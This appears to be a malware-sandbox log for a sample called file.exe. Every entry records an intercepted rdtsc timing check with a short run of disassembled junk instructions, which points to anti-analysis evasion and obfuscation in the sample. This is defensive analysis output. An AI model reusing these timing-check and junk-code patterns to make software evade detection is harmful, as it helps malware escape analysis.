                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A437F3 second address: A437F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A437F9 second address: A437FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A43C45 second address: A43C5E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FE2B0E330DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A43C5E second address: A43C63 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A43C63 second address: A43C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE2B0E330E9h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007FE2B0E330E1h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A43C9A second address: A43CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A43CA3 second address: A43CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A4424C second address: A44250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A44250 second address: A44285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE2B0E330E8h 0x0000000d jmp 00007FE2B0E330E5h 0x00000012 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A4A7FA second address: A4A80E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE2B0E6B888h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FE2B0E6B886h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A53918 second address: A5391E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5391E second address: A53922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A51B8B second address: A51BE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FE2B0E330DDh 0x00000012 popad 0x00000013 jmp 00007FE2B0E330E9h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jne 00007FE2B0E330D6h 0x00000022 jmp 00007FE2B0E330E7h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A51BE2 second address: A51BF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007FE2B0E6B88Ah 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A51BF5 second address: A51BFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A51BFB second address: A51C0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B88Bh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5242C second address: A52431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A52431 second address: A5243D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE2B0E6B886h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A52879 second address: A5287D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A52FD7 second address: A52FE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FE2B0E6B886h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5373B second address: A53777 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE2B0E330DCh 0x00000008 jl 00007FE2B0E330D6h 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jo 00007FE2B0E330D6h 0x0000001f push eax 0x00000020 pop eax 0x00000021 ja 00007FE2B0E330D6h 0x00000027 jmp 00007FE2B0E330DCh 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f jc 00007FE2B0E330D6h 0x00000035 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A53777 second address: A53795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B898h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A5A259 second address: A5A261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A59F9B second address: A59FA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6036F second address: A60382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FE2B0E330DAh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A68642 second address: A6864F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jl 00007FE2B0E6B88Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C998 second address: A6C9C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 jmp 00007FE2B0E330DDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007FE2B0E330DCh 0x00000016 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C9C8 second address: A6C9CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C9CE second address: A6C9D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C9D2 second address: A6C9F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E6B897h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FE2B0E6B88Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C567 second address: A6C56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C56D second address: A6C57C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jl 00007FE2B0E6B886h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C6A8 second address: A6C6AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C6AC second address: A6C6C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007FE2B0E6B88Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A6C6C1 second address: A6C6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A723F9 second address: A723FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A846E1 second address: A8471E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FE2B0E330E8h 0x0000000c jnc 00007FE2B0E330D6h 0x00000012 pop esi 0x00000013 pop edi 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE2B0E330E3h 0x0000001c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8471E second address: A84722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A84E40 second address: A84E48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A85122 second address: A85134 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FE2B0E6B88Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A85134 second address: A8516B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E3h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE2B0E330E1h 0x0000000e jmp 00007FE2B0E330DFh 0x00000013 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 98EDCB second address: 98EDD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 98EDD1 second address: 98EDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 98EDD7 second address: 98EDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C18E second address: A8C1AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE2B0E330E3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C1AB second address: A8C1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C1B0 second address: A8C1B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C1B8 second address: A8C1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C1BC second address: A8C1C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C1C0 second address: A8C1E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jg 00007FE2B0E6B88Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007FE2B0E6B88Ah 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8C1E3 second address: A8C1E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 993C54 second address: 993C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 99DE66 second address: 99DE7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE2B0E330E1h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A980BC second address: A980C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FE2B0E6B886h 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A980C6 second address: A980CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A980CA second address: A980F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop ecx 0x0000000c jmp 00007FE2B0E6B88Bh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 pop eax 0x00000019 pushad 0x0000001a popad 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A980F1 second address: A980F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A980F8 second address: A980FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A980FD second address: A98103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9A478 second address: A9A47C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9A47C second address: A9A482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9A482 second address: A9A48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9A48C second address: A9A490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9A490 second address: A9A494 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9A494 second address: A9A49A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9A49A second address: A9A4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9A4A0 second address: A9A4AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9BF54 second address: A9BF5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9BF5A second address: A9BF86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE2B0E330E1h 0x00000007 ja 00007FE2B0E330D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FE2B0E330DDh 0x00000017 pop ecx 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9BDE0 second address: A9BDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE2B0E6B886h 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9BDEA second address: A9BDEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAA9E8 second address: AAAA21 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FE2B0E6B894h 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE2B0E6B897h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAAA21 second address: AAAA25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAAA25 second address: AAAA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAAA2D second address: AAAA47 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE2B0E330E4h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAAA47 second address: AAAA4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAA721 second address: AAA727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAA727 second address: AAA736 instructions: 0x00000000 rdtsc 0x00000002 js 00007FE2B0E6B886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAA736 second address: AAA73B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AAA73B second address: AAA740 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB12CF second address: AB12D9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE2B0E330D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB12D9 second address: AB12E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB12E2 second address: AB12E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB12E9 second address: AB12F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB12F0 second address: AB12F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB184C second address: AB185D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB185D second address: AB1863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB1863 second address: AB1868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB1868 second address: AB186D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB186D second address: AB188B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FE2B0E6B895h 0x0000000e rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB19F4 second address: AB19F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB19F8 second address: AB1A02 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE2B0E6B886h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB1B81 second address: AB1BB7 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE2B0E330ECh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007FE2B0E330E4h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FE2B0E330E0h 0x00000017 push ecx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB861F second address: AB8623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB8623 second address: AB8627 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB8627 second address: AB862D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB81FF second address: AB821B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE2B0E330D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007FE2B0E330DAh 0x00000012 popad 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB821B second address: AB8221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                  Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB8221 second address: AB8225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
